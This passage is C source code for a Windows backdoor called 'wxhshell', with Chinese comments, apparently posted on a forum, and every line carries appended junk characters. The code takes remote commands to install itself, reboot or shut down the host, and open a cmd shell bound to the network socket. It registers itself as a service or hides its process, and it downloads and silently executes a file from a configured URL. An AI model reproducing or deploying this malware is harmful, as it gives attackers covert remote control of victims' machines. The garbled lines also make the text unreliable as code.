  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )5Bkm{v3  
  } 96.z\[0VZ  
  else { 9C{\=?e;  
-MqWcB9&  
    switch(cmd[0]) { <XHS@|  
  #Rkldv'  
  // 帮助 f @cs<x  
  case '?': { ;|Z;YK@20  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _x.D< n=X  
    break; G{cTQH|  
  } +HK)A%QI  
  // 安装 R;XR?59:.  
  case 'i': { L#`9# Q  
    if(Install()) ($oO, c'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jbHk  
    else ClHaR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | 3`qT#p{  
    break; #dLp<l)  
    } $DfaW3bJ  
  // 卸载 wnE c   
  case 'r': { a* pZcv<  
    if(Uninstall()) 8O]U&A@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lbES9o5  
    else [LonY49  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I~R<}volu  
    break; %(-YOTDr  
    } bmAgB}Ior  
  // 显示 wxhshell 所在路径 hG,gY;&[6  
  case 'p': { K;f'&9-+i,  
    char svExeFile[MAX_PATH]; I_yIVw;  
    strcpy(svExeFile,"\n\r"); wE75HE`gW  
      strcat(svExeFile,ExeFile); bH41#B  
        send(wsh,svExeFile,strlen(svExeFile),0); |zu>G9m  
    break; 6,xoxNoPP3  
    } #^Dc:1,  
  // 重启 &F}1\6{fL  
  case 'b': { LoG@(g&)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cLl fncI  
    if(Boot(REBOOT)) LeW.uh3.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kfj*uzKB  
    else { skcMGEB  
    closesocket(wsh); =tcPYYD  
    ExitThread(0); Xh]\q)  
    } vc2xAAQ  
    break; p _e-u-  
    } .bl0w"c^qq  
  // 关机 Z"? AaD[  
  case 'd': { Jb-wvNJu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^@L[0Z`  
    if(Boot(SHUTDOWN)) ^TWN_(-@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LbR/it'}  
    else { U>;itHW/  
    closesocket(wsh); "tIf$z  
    ExitThread(0); |->y'V  
    } 3r em"M  
    break; /&j4IlT  
    } ,:\2Lf  
  // 获取shell wH Z!t,g  
  case 's': { X}z KV  
    CmdShell(wsh); 24N,Bo 3  
    closesocket(wsh); a`pY&xq::  
    ExitThread(0); ,f?#i%EF&  
    break; J+*rjdI  
  } QrA8 KSLC  
  // 退出 %y w*!A1  
  case 'x': { |>3a9]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9jPb-I-   
    CloseIt(wsh); c0G/irK  
    break; JNp`@`0V  
    } .`'SL''c  
  // 离开 x>8f#B\Mr  
  case 'q': { 3X!~*_i C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ic=V:  
    closesocket(wsh); Xi{(1o4%  
    WSACleanup(); }ZmdX^xB  
    exit(1); M.8!BB7\8e  
    break; VvF&E>f C  
        } .V.N^8(:a  
  } iz^wBQ  
  } 5ZKnxEW,(  
2mlE;.}8  
  // 提示信息 \7j)^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Awh"SU Oh0  
} \~)573'  
  } ^w12k2a  
CXQ ?P  
  return; kx=AX*I  
} blN1Q%m6  
"G,*Z0V5  
// shell模块句柄 8_,ZJ9l ;  
int CmdShell(SOCKET sock) Ksp;bfe  
{ O^xt  
STARTUPINFO si; .-|O"H$  
ZeroMemory(&si,sizeof(si)); >@L HJ61C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h@DJ/&;u@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |@g1|OWd|  
PROCESS_INFORMATION ProcessInfo; 0/gcSW b  
char cmdline[]="cmd"; k`AJ$\=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i@J,u  
  return 0; e"CLhaT  
} \;6F-0  
y%,BDyK  
// 自身启动模式 ^"l$p,P+  
int StartFromService(void) J9 =gv0  
{ c'B"Onu@m*  
typedef struct E nvs[YZe  
{ 0/ Ht;(  
  DWORD ExitStatus; ;gMh]$|"  
  DWORD PebBaseAddress; 84[^#ke  
  DWORD AffinityMask; =e;wEf%`  
  DWORD BasePriority; :z\f.+MI  
  ULONG UniqueProcessId; ZH(.| NaH  
  ULONG InheritedFromUniqueProcessId; YzZF^q^I  
}   PROCESS_BASIC_INFORMATION;  5q ,  
/( V=Um^0  
PROCNTQSIP NtQueryInformationProcess; 2 QmUg  
x]ti3?w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `"H?nf0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F&*M$@u5  
I5L7BTe  
  HANDLE             hProcess; Ng"vBycy  
  PROCESS_BASIC_INFORMATION pbi; 1,j9(m2  
%)9]dOdOk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]CZLaID~  
  if(NULL == hInst ) return 0; +*J4q5;E[?  
JC"K{ V{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zcKC5vqb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6 b}feEh$!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MI(i%$R-A  
v)yimIHzo  
  if (!NtQueryInformationProcess) return 0; A E&n^vdQW  
hPxI& :N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \=7=>x_  
  if(!hProcess) return 0; 5S]P#8  
l~YNmmv_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $-]setdY  
8uxFXQ  
  CloseHandle(hProcess); ({KAh?  
E ZKz-}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~5uNw*H  
if(hProcess==NULL) return 0; 6\Vu#r  
1ckw[0d  
HMODULE hMod; &t/<yq}{  
char procName[255]; Sqf.#}u<=  
unsigned long cbNeeded; 0juIkN#  
`^-Be  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1K9?a;.  
:5M}Iz7  
  CloseHandle(hProcess); |/^aL j^u  
.eNwC.8i  
if(strstr(procName,"services")) return 1; // 以服务启动 ff1B)e  
Z 034wn\N  
  return 0; // 注册表启动 K}`p_)(  
} SP7g qM  
@Q\$dneY  
// 主模块 Jf<yTAm  
int StartWxhshell(LPSTR lpCmdLine) G=!bM(]R~  
{ UUf1T@-  
  SOCKET wsl; sQAc"S  
BOOL val=TRUE; V 1nZ M  
  int port=0; (vsk^3R[6  
  struct sockaddr_in door; kqigFcz!Y  
E'S;4B5?  
  if(wscfg.ws_autoins) Install(); Xb@z7X#O!  
5m USh3  
port=atoi(lpCmdLine); /Np"J  
*DC Nu{6  
if(port<=0) port=wscfg.ws_port; a]Da`$T  
oB06{/6  
  WSADATA data; qVD!/;l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #1dTM-  
0tm_}L$g=b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ed&,[rC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); , HI%Xn  
  door.sin_family = AF_INET; (zJ$oRq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hW !@$Ph  
  door.sin_port = htons(port); dbT^9: Q  
b|ksMB>)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TQ\wHJ  
closesocket(wsl); v(@+6#&  
return 1; E}b> 7L&w  
} .`Old{<  
l`FR.)2h  
  if(listen(wsl,2) == INVALID_SOCKET) { _/%]:  
closesocket(wsl); Y 6<0%  
return 1; jU4)zN/`r  
} ghobu}wuF  
  Wxhshell(wsl); snTJe[^d  
  WSACleanup(); AY/-j$5+?  
*4hOCQ[  
return 0; !w#ru?L{  
JM+sHHs  
} t=W$'*P0}  
J!A/r<  
// 以NT服务方式启动 1YIux,2\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \p3nd!OIG  
{ jWv3O&+?X  
DWORD   status = 0; #}t 1   
  DWORD   specificError = 0xfffffff; Ic{'H2~4,  
)Vg{Y [!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @q{:Oc^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _!C)r*0(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lNA'M&  
  serviceStatus.dwWin32ExitCode     = 0; x<{;1F,k3  
  serviceStatus.dwServiceSpecificExitCode = 0; liCCc;&B;  
  serviceStatus.dwCheckPoint       = 0; @ yg| OA}  
  serviceStatus.dwWaitHint       = 0; e"o6C\c  
%7C%`)T]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s;-78ejj7  
  if (hServiceStatusHandle==0) return; &3 XFg Ho  
J/]o WC`u  
status = GetLastError(); y?Hj %,  
  if (status!=NO_ERROR) EvSnZB1 y  
{  VNr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'XP>} m  
    serviceStatus.dwCheckPoint       = 0; =qV4Sje|q  
    serviceStatus.dwWaitHint       = 0; as\<nPT{Fj  
    serviceStatus.dwWin32ExitCode     = status; { .aK{ V  
    serviceStatus.dwServiceSpecificExitCode = specificError; .-('C> @  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NRHr6!f>  
    return; L)kb (TH  
  } Q*09 E  
S{^6iR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >+Sv9S  
  serviceStatus.dwCheckPoint       = 0; 5T$9'5V7  
  serviceStatus.dwWaitHint       = 0; `uIx/.L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9:9N)cNvfX  
} 1AV1d%F  
r3+<r<gs  
// 处理NT服务事件,比如:启动、停止 RsqRR`|X?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2y9:'c|  
{ _" ?c9  
switch(fdwControl) ":UWowJO  
{ TRs[~K)n  
case SERVICE_CONTROL_STOP: Cbgj@4H  
  serviceStatus.dwWin32ExitCode = 0; #Acon7R p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RL7C YB  
  serviceStatus.dwCheckPoint   = 0; Hk<X  
  serviceStatus.dwWaitHint     = 0; [+hy_Nc$  
  { b{~fVil$y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PtQQZ"ept  
  } YXczyZA`x  
  return; Nk lz_ ]  
case SERVICE_CONTROL_PAUSE: #d }0}7ue  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $l#v/(uFa  
  break; Nd]0ta  
case SERVICE_CONTROL_CONTINUE: :3111}>c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C-s>1\I  
  break; 9nT?|n]>  
case SERVICE_CONTROL_INTERROGATE: /_NkB$&  
  break; r+imn&FK8  
};  =3h+=l[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bWGyLo,  
} /HB+ami,  
ljN zYg~-  
// 标准应用程序主函数 Hnfvo*6d.e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R^jlEt\&P  
{ >}ro[x`K  
2-B6IPeI  
// 获取操作系统版本 I["F+kt^^  
OsIsNt=GetOsVer(); 8!Wfd)4=,F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Of1IdE6~  
j`>?"1e@x  
  // 从命令行安装 %)zk..K{l  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4a\n4KO X  
Oamv9RyDvC  
  // 下载执行文件 gb.f%rlZ`  
if(wscfg.ws_downexe) { Z 6 tE{/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^{),+S  
  WinExec(wscfg.ws_filenam,SW_HIDE); w@87]/4Rq  
} 77+| #< J  
fp9rO}##  
if(!OsIsNt) { t[%x}0FP-F  
// 如果时win9x,隐藏进程并且设置为注册表启动 =hJfL}&O3  
HideProc(); 6kP7   
StartWxhshell(lpCmdLine); *y)4D[ z-  
} [_j6cj]  
else (F/HU"C  
  if(StartFromService()) 2>\b:  
  // 以服务方式启动 \BLp-B1s  
  StartServiceCtrlDispatcher(DispatchTable); 7raSf&{&6b  
else Kp8fh-4_  
  // 普通方式启动 %_>Tcm=  
  StartWxhshell(lpCmdLine); - o4@#p>>  
wHA/b.jH  
return 0; DNmb[  
}
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只看该作者 1 发表于: 2006-10-10
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